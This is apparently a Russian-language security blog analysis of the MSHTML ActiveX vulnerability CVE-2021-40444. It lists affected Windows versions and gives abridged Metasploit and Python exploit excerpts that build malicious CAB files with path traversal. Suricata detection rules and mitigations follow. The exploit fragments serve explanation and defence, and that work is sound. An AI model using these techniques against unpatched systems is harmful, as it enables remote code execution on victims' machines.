Уязвимость механизма MSHTML браузера Internet Explorer
Уязвимость механизма MSHTML браузера Internet Explorer
Категория: Программы Теги: Уязвимости Опубликовано: 4 июня 2025

Уязвимость BDU:2021-04442 (CVE-2021-40444) MSHTML Windows

Уязвимость BDU:2021-04442 (CVE-2021-40444) в механизме MSHTML (движок Internet Explorer), связанная с некорректной обработкой объектов ActiveX в документах Microsoft Office. Злоумышленник может создать специальный документ (Word, Excel и др.), который при открытии загружает и выполняет произвольный код через уязвимый компонент MSHTML.

Анализ уязвимости

Уровень опасности: 8.8 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

  • AV:N (Attack Vector: Network) - Атака через сеть

  • AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации

  • PR:N (Privileges Required: None) - Не требуются привилегии

  • UI:R (User Interaction: Required) - Требуется взаимодействие пользователя (открытие файла)

  • S:C (Scope: Changed) - Изменение безопасности соседних компонентов

  • C:L (Confidentiality: Low) - Частичная компрометация конфиденциальности

  • I:H (Integrity: High) - Полная компрометация целостности

  • A:L (Availability: Low) - Частичная компрометация доступности

Условия эксплуатации

  1. Пользователь открывает специально созданный документ Office (DOCX, RTF)

  2. Система не имеет установленных обновлений безопасности (патч от сентября 2021)

  3. В системе включен уязвимый компонент MSHTML (по умолчанию активен)

Уязвимые версии ОС

  • Windows 7 SP1 32-bit
  • Windows 7 SP1 64-bit
  • Windows 8.1 32-bit
  • Windows 8.1 64-bit
  • Windows 8.1 RT ARM
  • Windows 10 1607 32-bit
  • Windows 10 1607 64-bit
  • Windows 10 1809 32-bit
  • Windows 10 1809 64-bit
  • Windows 10 1809 ARM64
  • Windows 10 1909 32-bit
  • Windows 10 1909 64-bit
  • Windows 10 1909 ARM64
  • Windows 10 2004 32-bit
  • Windows 10 2004 64-bit
  • Windows 10 2004 ARM64
  • Windows 10 20H2 32-bit
  • Windows 10 20H2 64-bit
  • Windows 10 20H2 ARM64
  • Windows 10 21H1 32-bit
  • Windows 10 21H1 64-bit
  • Windows 10 21H1 ARM64
  • Windows 10 32-bit
  • Windows 10 64-bit
  • Windows Server 2004 Server Core Installation
  • Windows Server 2008 R2 SP1 Server Core installation 64-bit
  • Windows Server 2008 R2 SP2 64-bit
  • Windows Server 2008 SP2 32-bit
  • Windows Server 2008 SP2 64-bit
  • Windows Server 2008 SP2 Server Core installation 32-bit
  • Windows Server 2008 SP2 Server Core installation 64-bit
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2012 R2 Server Core installation
  • Windows Server 2012 Server Core installation
  • Windows Server 2016
  • Windows Server 2016 Server Core installation
  • Windows Server 2019
  • Windows Server 2019 Server Core installation
  • Windows Server 2022
  • Windows Server 2022 Server Core installation
  • Windows Server 20H2 Server Core Installation

Технический анализ эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.

1. Metasploit-модуль (Ruby)

Ключевые этапы работы:

def initialize(info = {})
  super(update_info(info,
    'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
    'References' => [['CVE', '2021-40444']],
    'Targets' => [['Hosted', {}]],
    'Payload' => {'DisableNops' => true}
  ))
end

def create_cab(data)
  # Формирование вредоносного CAB-архива с подменой контрольных сумм
  cab_header = "\x4D\x53\x43\x46" # Сигнатура MSCF
  cab_header << "\x00\x00\x00\x00" 
  cab_header << [data.length + 1073741824].pack('L<') # Искусственное увеличение размера
  # ... манипуляции с заголовками CAB
end

def generate_html
  # Генерация HTML с эксплойтом ActiveX
  js_content.gsub!('REPLACE_URI', "#{srvhost}/exploit.cab")
  html = '<!DOCTYPE html><script>ActiveXObject("htmlfile");</script>'
end

Механизм атаки:

  • Создает DOCX с внедренной ссылкой на HTML-эксплойт

  • HTML инициализирует ActiveX-объект, загружающий вредоносный CAB

  • CAB содержит DLL с шелл-кодом, которая исполняется через уязвимость MSHTML

2. Python-эксплойт

def patch_cab(path):
  with open(path, 'rb') as f:
    cab = f.read()
  # Патчинг заголовка CAB для обхода проверок
  patched = cab[:0x2d] + b'\x00\x5c\x41\x00' + cab[0x31:]
  patched = patched.replace(b'..\\msword.inf', b'../msword.inf')

Особенности:

  • Использует легитимный DOCX-шаблон

  • Подменяет пути в CAB-архиве (../msword.inf)

  • Использует обходные пути (./../../) для загрузки DLL


Защитные меры

1. Базовые меры

  • Установка обновлений:
    Патчи от сентября 2021

  • Отключение ActiveX:
    Групповая политика:
    User Configuration → Administrative Templates → Microsoft Office → Security Settings → Disable ActiveX

2. Сетевые контрмеры (Suricata/Snort)

# Блокировка CAB с подозрительными путями
alert http any any -> any any (
    msg:"CVE-2021-40444: Malicious CAB Pattern";
    flow:established,to_client;
    file_data;
    content:"../"; depth:3; 
    content:"msword.inf"; distance:0;
    metadata:policy security-ips;
    sid:1000001;
)

# Обнаружение MHTML-эксплойтов
alert http any any -> any any (
    msg:"CVE-2021-40444: Suspicious MHTML Object";
    content:"mhtml:"; 
    content:".docx!x-usc";
    metadata:policy security-ips;
    sid:1000002;
)

3. Дополнительные меры

  • ASR Rules:
    Включить правило "Блокирование выполнения потенциально опасных исполняемых файлов"

  • Контроль целостности:
    Регулярная верификация системных файлов:
    sfc /scannow + Get-FileHash -Path C:\windows\system32\mshtml.dll

  • Sandboxing:
    Использование Microsoft Defender Application Guard для Office


Заключение

BDU:2021-04442 (CVE-2021-40444) демонстрирует критическую уязвимость в цепочке обработки ActiveX-объектов. Хотя патчи выпущены, атаки остаются актуальными из-за:

  1. Пробелов в обновлении корпоративных сред

  2. Использования социальной инженерии (фишинговые документы)

  3. Легкости адаптации эксплойтов под новые форматы

Комбинированная защита (патчи + сетевые правила + политики ограничения) критически важна, особенно для организаций, использующих устаревшие ОС из списка уязвимых версий.

Алексей Черемных Алексей Черемных
58